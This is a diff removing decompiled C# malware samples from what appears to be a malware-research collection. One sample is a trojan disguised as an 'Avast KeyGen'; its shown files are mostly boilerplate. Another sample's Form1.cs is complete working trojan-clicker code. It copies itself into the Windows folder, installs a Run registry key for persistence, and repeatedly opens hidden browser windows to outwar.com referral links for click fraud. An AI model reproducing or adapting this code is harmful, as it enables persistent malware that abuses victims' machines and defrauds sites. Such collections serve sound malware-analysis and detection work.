// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace WindowsApplication1.My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[StandardModule]
[HideModuleName]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[DebuggerNonUserCode]
static MyProject()
{
}
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.Forms")]
internal static MyProject.MyForms Forms
{
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyForms
{
public AboutBox1 m_AboutBox1;
public Form1 m_Form1;
[ThreadStatic]
private static Hashtable m_FormBeingCreated;
public AboutBox1 AboutBox1
{
[DebuggerNonUserCode] get
{
this.m_AboutBox1 = MyProject.MyForms.Create__Instance__<AboutBox1>(this.m_AboutBox1);
return this.m_AboutBox1;
}
[DebuggerNonUserCode] set
{
if (value == this.m_AboutBox1)
return;
if (value != null)
throw new ArgumentException("Property can only be set to Nothing");
this.Dispose__Instance__<AboutBox1>(ref this.m_AboutBox1);
}
}
public Form1 Form1
{
[DebuggerNonUserCode] get
{
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
return this.m_Form1;
}
[DebuggerNonUserCode] set
{
if (value == this.m_Form1)
return;
if (value != null)
throw new ArgumentException("Property can only be set to Nothing");
this.Dispose__Instance__<Form1>(ref this.m_Form1);
}
}
[DebuggerHidden]
private static T Create__Instance__<T>(T Instance) where T : Form, new()
{
if ((object) Instance != null && !Instance.IsDisposed)
return Instance;
if (MyProject.MyForms.m_FormBeingCreated != null)
{
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
}
else
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
try
{
return new T();
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
}
finally
{
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
}
}
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) where T : Form
{
instance.Dispose();
instance = default (T);
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyForms()
{
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyForms);
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyWebServices()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public ThreadSafeObjectProvider()
{
}
}
}
}

73
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/My/MySettings.cs
View File

@ -1,73 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.My.MySettings
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Threading;
namespace WindowsApplication1.My
{
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
[CompilerGenerated]
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
private static bool addedHandler;
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
[DebuggerNonUserCode]
public MySettings()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerNonUserCode]
private static void AutoSaveSettings(object sender, EventArgs e)
{
if (!MyProject.Application.SaveMySettingsOnExit)
return;
MySettingsProperty.Settings.Save();
}
public static MySettings Default
{
get
{
if (!MySettings.addedHandler)
{
object handlerLockObject = MySettings.addedHandlerLockObject;
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
Monitor.Enter(handlerLockObject);
try
{
if (!MySettings.addedHandler)
{
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
{
if (!MyProject.Application.SaveMySettingsOnExit)
return;
MySettingsProperty.Settings.Save();
});
MySettings.addedHandler = true;
}
}
finally
{
Monitor.Exit(handlerLockObject);
}
}
return MySettings.defaultInstance;
}
}
}
}

24
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/My/MySettingsProperty.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.My.MySettingsProperty
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace WindowsApplication1.My
{
[StandardModule]
[CompilerGenerated]
[DebuggerNonUserCode]
[HideModuleName]
internal sealed class MySettingsProperty
{
[HelpKeyword("My.Settings")]
internal static MySettings Settings => MySettings.Default;
}
}

53
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/My/Resources/Resources.cs
View File

@ -1,53 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.My.Resources.Resources
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace WindowsApplication1.My.Resources
{
[HideModuleName]
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
[DebuggerNonUserCode]
[StandardModule]
[CompilerGenerated]
internal sealed class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (object.ReferenceEquals((object) WindowsApplication1.My.Resources.Resources.resourceMan, (object) null))
WindowsApplication1.My.Resources.Resources.resourceMan = new ResourceManager("WindowsApplication1.Resources", typeof (WindowsApplication1.My.Resources.Resources).Assembly);
return WindowsApplication1.My.Resources.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => WindowsApplication1.My.Resources.Resources.resourceCulture;
set => WindowsApplication1.My.Resources.Resources.resourceCulture = value;
}
internal static Bitmap Avast_20Antivirus => (Bitmap) RuntimeHelpers.GetObjectValue(WindowsApplication1.My.Resources.Resources.ResourceManager.GetObject("Avast%20Antivirus", WindowsApplication1.My.Resources.Resources.resourceCulture));
internal static Bitmap windows_7_wallpaper_by_p_com => (Bitmap) RuntimeHelpers.GetObjectValue(WindowsApplication1.My.Resources.Resources.ResourceManager.GetObject(nameof (windows_7_wallpaper_by_p_com), WindowsApplication1.My.Resources.Resources.resourceCulture));
internal static Bitmap windows_7_wallpaper_by_p_com_copy => (Bitmap) RuntimeHelpers.GetObjectValue(WindowsApplication1.My.Resources.Resources.ResourceManager.GetObject("windows_7_wallpaper_by_p_com copy", WindowsApplication1.My.Resources.Resources.resourceCulture));
}
}

129
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/Resources.resx
View File

File diff suppressed because one or more lines are too long

55
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/Trojan-Clicker.MSIL.Distract.a.csproj
View File

@ -1,55 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{B1C0DC81-BD25-46C2-8539-F917364FEBE3}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Avast KeyGen</AssemblyName>
<ApplicationVersion>7.3.0.0</ApplicationVersion>
<RootNamespace>WindowsApplication1</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="AboutBox1.cs" />
<Compile Include="Form1.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="My\MySettings.cs" />
<Compile Include="My\MySettingsProperty.cs" />
<Compile Include="My\Resources\Resources.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="AboutBox1.resx" />
<EmbeddedResource Include="Form1.resx" />
<EmbeddedResource Include="Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Trojan-Clicker/MSIL/D/Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b/Trojan-Clicker.MSIL.Distract.a.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Avast KeyGen", "Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.csproj", "{B1C0DC81-BD25-46C2-8539-F917364FEBE3}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{B1C0DC81-BD25-46C2-8539-F917364FEBE3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B1C0DC81-BD25-46C2-8539-F917364FEBE3}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B1C0DC81-BD25-46C2-8539-F917364FEBE3}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B1C0DC81-BD25-46C2-8539-F917364FEBE3}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

13
MSIL/Trojan-Clicker/Win32/V/Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b/AssemblyInfo.cs
View File

@ -1,13 +0,0 @@
using System;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyTrademark("")]
[assembly: Guid("CCA94AF2-DA1C-417F-AE54-14B3B58CCF9E")]
[assembly: CLSCompliant(true)]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyTitle("")]
[assembly: AssemblyVersion("1.0.1392.15754")]

186
MSIL/Trojan-Clicker/Win32/V/Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b/Form1.cs
View File

@ -1,186 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: addoul2.Form1
// Assembly: addoul2, Version=1.0.1392.15754, Culture=neutral, PublicKeyToken=null
// MVID: 2FA7C981-21F3-4FB2-A6B4-E0C073EDB4CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Threading;
using System.Windows.Forms;
namespace addoul2
{
public class Form1 : Form
{
private IContainer components;
[STAThread]
public static void Main() => Application.Run((Form) new Form1());
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent()
{
Size size = new Size(5, 13);
this.AutoScaleBaseSize = size;
size = new Size(292, 273);
this.ClientSize = size;
this.Name = nameof (Form1);
this.Text = nameof (Form1);
}
private void Form1_Load(object sender, EventArgs e)
{
string executablePath = Application.ExecutablePath;
string sLeft;
if (Directory.Exists("d:\\windows"))
sLeft = "D";
else if (Directory.Exists("c:\\windows"))
sLeft = "C";
else if (Directory.Exists("e:\\windows"))
sLeft = "E";
else if (Directory.Exists("f:\\windows"))
sLeft = "F";
if (StringType.StrCmp(sLeft, "D", false) == 0)
{
if (!File.Exists(sLeft + ":\\windows\\SysNT.exe"))
{
File.Copy(executablePath, sLeft + ":\\windows\\SysNT.exe", true);
RegistryKey subKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.SetValue("MyVBApp", (object) ("\"" + sLeft + ":\\windows\\SysNT.exe\""));
subKey.Close();
}
Thread.Sleep(40000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1612268", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685015", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685183", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685108", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685012", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685091", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685221", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685205", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685043", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685042", AppWinStyle.Hide);
}
else if (StringType.StrCmp(sLeft, "C", false) == 0)
{
if (!File.Exists(sLeft + ":\\windows\\SysNT.exe"))
{
File.Copy(executablePath, sLeft + ":\\windows\\SysNT.exe", true);
RegistryKey subKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.SetValue("MyVBApp", (object) ("\"" + sLeft + ":\\windows\\SysNT.exe\""));
subKey.Close();
}
Thread.Sleep(40000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1612268", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685015", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685183", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685108", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685012", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685091", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685221", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685205", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685043", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685042", AppWinStyle.Hide);
}
else if (StringType.StrCmp(sLeft, "E", false) == 0)
{
if (!File.Exists(sLeft + ":\\windows\\SysNT.exe"))
{
File.Copy(executablePath, sLeft + ":\\windows\\SysNT.exe", true);
RegistryKey subKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.SetValue("MyVBApp", (object) ("\"" + sLeft + ":\\windows\\SysNT.exe\""));
subKey.Close();
}
Thread.Sleep(40000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1612268", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685015", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685183", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685108", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685012", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685091", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685221", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685205", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685043", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685042", AppWinStyle.Hide);
}
else if (StringType.StrCmp(sLeft, "F", false) == 0)
{
if (!File.Exists(sLeft + ":\\windows\\SysNT.exe"))
{
File.Copy(executablePath, sLeft + ":\\windows\\SysNT.exe", true);
RegistryKey subKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.SetValue("MyVBApp", (object) ("\"" + sLeft + ":\\windows\\SysNT.exe\""));
subKey.Close();
}
Thread.Sleep(40000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1612268", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685015", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685183", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685108", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685012", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685091", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685221", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685205", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685043", AppWinStyle.Hide);
Thread.Sleep(360000);
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685042", AppWinStyle.Hide);
}
this.Close();
}
}
}

150
MSIL/Trojan-Clicker/Win32/V/Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b/Form1.resx
View File

@ -1,150 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
